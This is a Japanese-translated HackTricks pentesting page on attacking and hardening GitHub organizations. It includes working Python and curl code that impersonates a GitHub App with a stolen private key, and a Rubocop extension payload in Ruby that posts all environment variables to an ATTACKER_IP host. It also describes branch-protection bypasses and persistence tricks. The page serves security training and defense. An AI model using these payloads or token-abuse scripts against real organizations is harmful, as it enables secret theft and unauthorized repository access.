Files
hacktricks-cloud/src/pentesting-ci-cd/github-security/README.md

28 KiB
Raw Blame History

Github Security

{{#include ../../banners/hacktricks-training.md}}

What is Github

(From here) 高いレベルで言うと、GitHubは開発者がコードを保存・管理し、コードの変更を追跡・制御するのを助けるウェブサイトおよびクラウドベースのサービスです

Basic Information

{{#ref}} basic-github-information.md {{#endref}}

External Recon

Githubリポジトリは、公開、非公開、内部として設定できます。

  • 非公開は、組織の人々だけがアクセスできることを意味します。
  • 内部は、エンタープライズ(エンタープライズは複数の組織を持つことがあります)の人々だけがアクセスできることを意味します。
  • 公開は、全インターネットがアクセスできることを意味します。

ターゲットにしたいユーザー、リポジトリ、または組織を知っている場合github dorksを使用して、各リポジトリで機密情報の漏洩を検索できます。

Github Dorks

Githubは、ユーザー、リポジトリ、または組織を指定して何かを検索することを許可します。したがって、機密情報の近くに表示される文字列のリストを使用して、ターゲット内の潜在的な機密情報を簡単に検索できます

ツール各ツールにはそのdorkのリストが含まれています

Github Leaks

github dorksは、githubの検索オプションを使用して漏洩を検索するためにも使用されることに注意してください。このセクションは、各リポジトリをダウンロードし、その中で機密情報を検索するツールに専念しています(特定のコミットの深さをチェックすることも含まれます)。

ツール(各ツールにはその正規表現のリストが含まれています):

このページを確認してください: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html

Warning

リポジトリで漏洩を探すときにgit log -pのようなコマンドを実行する際、他のコミットを含む他のブランチが存在する可能性があることを忘れないでください!

External Forks

プルリクエストを悪用してリポジトリを妥協することが可能です。リポジトリが脆弱かどうかを知るには、主にGithub Actionsのyaml設定を読む必要があります。この下に詳細があります

Github Leaks in deleted/internal forks

削除されたリポジトリや内部リポジトリからも、Githubリポジトリのフォークから機密データを取得できる可能性があります。ここで確認してください

{{#ref}} accessible-deleted-data-in-github.md {{#endref}}

Organization Hardening

Member Privileges

組織のメンバーに割り当てることができるデフォルトの権限があります。これらは、ページhttps://github.com/organizations/<org_name>/settings/member_privilegesまたはOrganizations APIから制御できます。

  • 基本的な権限: メンバーは、組織のリポジトリに対してNone/Read/write/Adminの権限を持ちます。推奨はNoneまたはReadです。
  • リポジトリのフォーク: 必要でない場合、メンバーが組織のリポジトリをフォークすることを許可しない方が良いです。
  • ページの作成: 必要でない場合、メンバーが組織のリポジトリからページを公開することを許可しない方が良いです。必要な場合は、公開または非公開のページを作成することを許可できます。
  • 統合アクセス要求: これを有効にすると、外部のコラボレーターがこの組織とそのリソースにアクセスするためのGitHubまたはOAuthアプリへのアクセスを要求できるようになります。通常は必要ですが、必要でない場合は無効にする方が良いです。
  • この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。
  • リポジトリの可視性変更: 有効にすると、リポジトリ管理者権限を持つメンバー可視性を変更できるようになります。無効にすると、組織の所有者のみがリポジトリの可視性を変更できます。人々に公開にすることを望まない場合は、これを無効にしてください。
  • この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。
  • リポジトリの削除と転送: 有効にすると、リポジトリの管理者権限を持つメンバーが公開および非公開のリポジトリを削除または転送できるようになります。
  • この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。
  • メンバーがチームを作成することを許可: 有効にすると、組織のメンバーは新しいチームを作成できるようになります。無効にすると、組織の所有者のみが新しいチームを作成できます。これを無効にしておく方が良いです。
  • この情報をAPIの応答で見つけられませんでした。知っている場合は共有してください。
  • 他にも設定できることがありますが、前述のものが最もセキュリティに関連しています。

Actions Settings

いくつかのセキュリティ関連の設定は、ページhttps://github.com/organizations/<org_name>/settings/actionsから構成できます。

Note

これらの設定は、各リポジトリでも独立して設定できることに注意してください。

  • Github actionsポリシー: どのリポジトリがワークフローを実行でき、どのワークフローが許可されるかを指定できます。許可されるリポジトリを指定することを推奨し、すべてのアクションが実行されることを許可しない方が良いです。
  • API-1, API-2
  • 外部コラボレーターからのフォークプルリクエストワークフロー: すべての外部コラボレーターに対して承認を要求することを推奨します。
  • この情報を持つAPIは見つかりませんでした。知っている場合は共有してください。
  • フォークプルリクエストからのワークフローの実行: プルリクエストからのワークフローを実行することは非常に推奨されません。フォーク元のメンテナーにソースリポジトリに対する読み取り権限を持つトークンを使用する能力が与えられるためです。
  • この情報を持つAPIは見つかりませんでした。知っている場合は共有してください。
  • ワークフローの権限: リポジトリの読み取り権限のみを付与することを強く推奨します。GITHUB_TOKENが実行中のワークフローに与えられることを避けるために、書き込みやプルリクエストの作成/承認権限を与えることは推奨されません。
  • API

Integrations

この情報にアクセスするためのAPIエンドポイントを知っている場合は教えてください

  • サードパーティアプリケーションアクセスポリシー: すべてのアプリケーションへのアクセスを制限し、必要なもののみを許可することを推奨します(レビュー後)。
  • インストールされたGitHubアプリ: 必要なもののみを許可することを推奨します(レビュー後)。

Recon & Attacks abusing credentials

このシナリオでは、Githubアカウントへのアクセスを取得したと仮定します。

With User Credentials

もし何らかの方法で組織内のユーザーの資格情報を持っている場合、ただログインして、どのエンタープライズおよび組織の役割を持っているかを確認できます。生のメンバーであれば、生のメンバーが持つ権限、どのグループに属しているか、どのリポジトリに対してどの権限を持っているか、およびリポジトリがどのように保護されているかを確認できます。

2FAが使用されている可能性があることに注意してください。したがって、そのチェックを通過できる場合にのみ、この情報にアクセスできます。

Note

user_sessionクッキーを盗むことに成功した場合現在SameSite: Laxで設定されています、資格情報や2FAなしでユーザーを完全に偽装できます。

役立つ場合に備えて、ブランチ保護のバイパスに関するセクションを確認してください。

With User SSH Key

Githubは、ユーザーSSHキーを設定することを許可しており、これがコードをデプロイするための認証方法として使用されます2FAは適用されません

このキーを使用して、ユーザーがいくつかの権限を持つリポジトリで変更を行うことができますが、Github APIにアクセスして環境を列挙するために使用することはできません。ただし、アクセスできるリポジトリやユーザーに関する情報を取得するために、ローカル設定を列挙することができます。

# Go to the the repository folder
# Get repo config and current user name and email
git config --list

ユーザーが自分のGitHubユーザー名を設定している場合、https://github.com/<github_username>.keys で彼のアカウントに設定された公開鍵にアクセスできます。これを確認して、見つけた秘密鍵が使用できるかどうかを確認できます。

SSH鍵はリポジトリにデプロイ鍵として設定することもできます。この鍵にアクセスできる人は、リポジトリからプロジェクトを起動することができます。通常、異なるデプロイ鍵を持つサーバーでは、ローカルファイル**~/.ssh/config**が関連する鍵に関する情報を提供します。

GPG鍵

こちらで説明されているように、コミットに署名する必要がある場合や、発見される可能性があります。

現在のユーザーが鍵を持っているかどうかをローカルで確認してください:

gpg --list-secret-keys --keyid-format=long

ユーザートークンを使用して

ユーザートークンの基本情報についてはここを確認してください

ユーザートークンは、HTTPS経由のGitのパスワードの代わりに使用できるか、基本認証を介してAPIに認証するために使用できます。それに付随する権限によって、異なるアクションを実行できる場合があります。

ユーザートークンは次のようになります: ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123

Oauthアプリケーションを使用して

Github Oauthアプリケーションの基本情報についてはここを確認してください

攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある悪意のあるOauthアプリケーションを作成して、特権データ/アクションにアクセスすることがあります。

Oauthアプリケーションが要求できるスコープはこちらです。受け入れる前に、要求されたスコープを常に確認する必要があります。

さらに、基本情報で説明されているように、組織はサードパーティアプリケーションに対して情報/リポジトリ/アクションへのアクセスを与えたり拒否したりできます

Githubアプリケーションを使用して

Githubアプリケーションの基本情報についてはここを確認してください

攻撃者は、フィッシングキャンペーンの一環として、ユーザーが受け入れる可能性のある悪意のあるGithubアプリケーションを作成して、特権データ/アクションにアクセスすることがあります。

さらに、基本情報で説明されているように、組織はサードパーティアプリケーションに対して情報/リポジトリ/アクションへのアクセスを与えたり拒否したりできます

プライベートキーを使用してGitHubアプリを偽装する (JWT → インストールアクセストークン)

GitHubアプリのプライベートキー (PEM) を取得すると、そのアプリをすべてのインストールで完全に偽装できます:

  • プライベートキーで署名された短命のJWTを生成する
  • GitHubアプリREST APIを呼び出してインストールを列挙する
  • インストールごとのアクセストークンを発行し、それを使用してそのインストールに付与されたリポジトリをリスト/クローン/プッシュする

要件:

  • GitHubアプリプライベートキー (PEM)
  • GitHubアプリID (数値)。GitHubはissをアプリIDにすることを要求します

JWTを作成する (RS256):

#!/usr/bin/env python3
import time, jwt

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)

def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60,  # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")

認証されたアプリのインストールをリストします:

JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)

curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations

インストールアクセストークンを作成する(有効期限 ≤ 10 分):

INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens

トークンを使用してコードにアクセスします。xaccesstoken URL形式を使用してクローンまたはプッシュできます:

TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository

特定の組織をターゲットにし、プライベートリポジトリをリストするためのプログラムによるPoCPyGithub + PyJWT

#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)
ORG    = "someorg"

def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")

auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")

jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]

print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)

ノート:

  • インストールトークンは、アプリのリポジトリレベルの権限を正確に継承します(例: contents: write, pull_requests: write
  • トークンは≤10分で期限切れになりますが、プライベートキーを保持している限り、新しいトークンを無限に発行できます
  • JWTを使用してREST APIGET /app/installations経由でインストールを列挙することもできます

Github Actionの妥協と悪用

Github Actionを妥協し悪用するためのいくつかの技術があります。ここで確認してください:

{{#ref}} abusing-github-actions/ {{#endref}}

外部ツールを実行するサードパーティのGitHubアプリの悪用Rubocop拡張RCE

一部のGitHubアプリやPRレビューサービスは、リポジトリ制御の設定ファイルを使用してプルリクエストに対して外部リンター/SASTを実行します。サポートされているツールが動的コード読み込みを許可する場合、PRはサービスのランナー上でRCEを達成できます。

例: RubocopはYAML設定から拡張機能を読み込むことをサポートしています。サービスがリポジトリ提供の.rubocop.ymlを通過させると、ローカルファイルを要求することで任意のRubyを実行できます。

  • トリガー条件には通常以下が含まれます:
  • ツールがサービスで有効になっている
  • PRにツールが認識するファイルが含まれているRubocopの場合: .rb
  • リポジトリにツールの設定ファイルが含まれているRubocopはどこにでも.rubocop.ymlを検索します

PR内のエクスプロイトファイル:

.rubocop.yml

require:
- ./ext.rb

ext.rb (環境変数を外部に抽出するランナー):

require 'net/http'
require 'uri'
require 'json'

env_vars  = ENV.to_h
json_data = env_vars.to_json
url       = URI.parse('http://ATTACKER_IP/')

begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end

十分に大きなダミーRubyファイルmain.rbを含めて、リンターが実際に実行されるようにしてください。

実際に観察された影響:

  • リンターを実行したプロダクションランナーでの完全なコード実行
  • サービスによって使用されるGitHub Appの秘密鍵、APIキー、DB資格情報などの機密環境変数の流出
  • 流出したGitHub Appの秘密鍵を使用して、インストールトークンを発行し、そのアプリに付与されたすべてのリポジトリへの読み書きアクセスを取得できますGitHub Appのなりすましに関する上記のセクションを参照

外部ツールを実行するサービスの強化ガイドライン:

  • リポジトリ提供のツール設定を信頼できないコードとして扱う
  • 機密環境変数がマウントされていない厳密に隔離されたサンドボックスでツールを実行する
  • 最小権限の資格情報とファイルシステムの隔離を適用し、インターネットアクセスを必要としないツールのために外向きのネットワークエグレスを制限/拒否する

ブランチ保護のバイパス

  • 承認の数を要求する複数のアカウントを侵害した場合、他のアカウントからPRを受け入れることができます。PRを作成したアカウントしか持っていない場合、自分のPRを承認することはできません。しかし、リポジトリ内のGithub Action環境にアクセスできる場合、GITHUB_TOKENを使用してPRを承認することができ、1つの承認を得ることができるかもしれません。
  • この点とCode Owners制限についての注意通常、ユーザーは自分のPRを承認できませんが、もしできる場合は、それを悪用して自分のPRを受け入れることができます。
  • 新しいコミットがプッシュされたときに承認を取り消す:これが設定されていない場合、正当なコードを提出し、誰かが承認するのを待ってから悪意のあるコードを追加し、保護されたブランチにマージすることができます。
  • Code Ownersからのレビューを要求するこれが有効になっていて、あなたがCode Ownerであれば、Github ActionがあなたのPRを作成し、あなた自身で承認することができます。
  • CODEOWNERファイルが誤設定されている場合、Githubは文句を言いませんが、それを使用しません。したがって、誤設定されている場合は、Code Ownersの保護が適用されません。
  • 指定されたアクターがプルリクエストの要件をバイパスできるようにするこれらのアクターの1人であれば、プルリクエストの保護をバイパスできます。
  • 管理者を含める:これが設定されていない場合、リポジトリの管理者であれば、このブランチの保護をバイパスできます。
  • PRハイジャック他の誰かのPRを変更して悪意のあるコードを追加し、結果として得られたPRを自分で承認してすべてをマージできるかもしれません。
  • ブランチ保護の削除:リポジトリの管理者であれば、保護を無効にし、PRをマージして保護を元に戻すことができます。
  • プッシュ保護のバイパス:リポジトリが特定のユーザーのみがブランチにプッシュ(コードをマージ)できるようにしている場合(ブランチ保護がすべてのブランチを保護している可能性がありますが、ワイルドカード*を指定しています)。
  • リポジトリに対する書き込みアクセスがあるが、ブランチ保護のためにコードをプッシュできない場合、新しいブランチを作成し、その中でコードがプッシュされたときにトリガーされるGithub Actionを作成できます。ブランチ保護はブランチが作成されるまで保護を適用しないため、この最初のコードプッシュはGithub Actionを実行します

環境保護のバイパス

Github環境についての基本情報を確認する

環境にすべてのブランチからアクセスできる場合、それは保護されていないため、環境内の秘密に簡単にアクセスできます。すべてのブランチが保護されているリポジトリ(名前を指定するか、*を使用することによって)を見つけることがあることに注意してください。その場合、コードをプッシュできるブランチを見つけ、新しいGithub Actionを作成することで秘密を流出させることができますまたは1つを修正することができます

すべてのブランチが保護されている(ワイルドカード*を介して)場合、ブランチにコードをプッシュできるのは誰かが指定されていることに注意してください(これはブランチ保護で指定できます)し、あなたのユーザーは許可されていません。それでもカスタムGithub Actionを実行できます。なぜなら、ブランチを作成し、その上でプッシュトリガーを使用できるからです。ブランチ保護は新しいブランチへのプッシュを許可するため、Github Actionがトリガーされます

push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch

注意してください。ブランチの作成後ブランチ保護が新しいブランチに適用され、それを変更することはできませんが、その時点で既に秘密をダンプしているでしょう。

永続性

  • ユーザートークンを生成
  • シークレットからgithubトークンを盗む
  • ワークフローの結果ブランチ削除
  • 全ての組織に対してより多くの権限を付与
  • 情報を外部に流出させるためのウェブフックを作成
  • 外部コラボレーターを招待
  • SIEMで使用されているウェブフック削除
  • バックドアを持つGithub Actionを作成/変更
  • シークレット値の変更を通じてコマンドインジェクションに脆弱なGithub Actionを見つける

偽のコミット - リポジトリのコミットを介したバックドア

Githubでは、フォークからリポジトリにPRを作成することが可能です。PRが受け入れられなくても、元のリポジトリ内にフォーク版のコードのコミットIDが作成されます。したがって、攻撃者はリポジトリの所有者によって作成されていない、見た目上正当なリポジトリから特定のコミットを使用するようにピン留めすることができます

これのように:

name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'

詳細については、https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cdを確認してください。

参考文献

{{#include ../../banners/hacktricks-training.md}}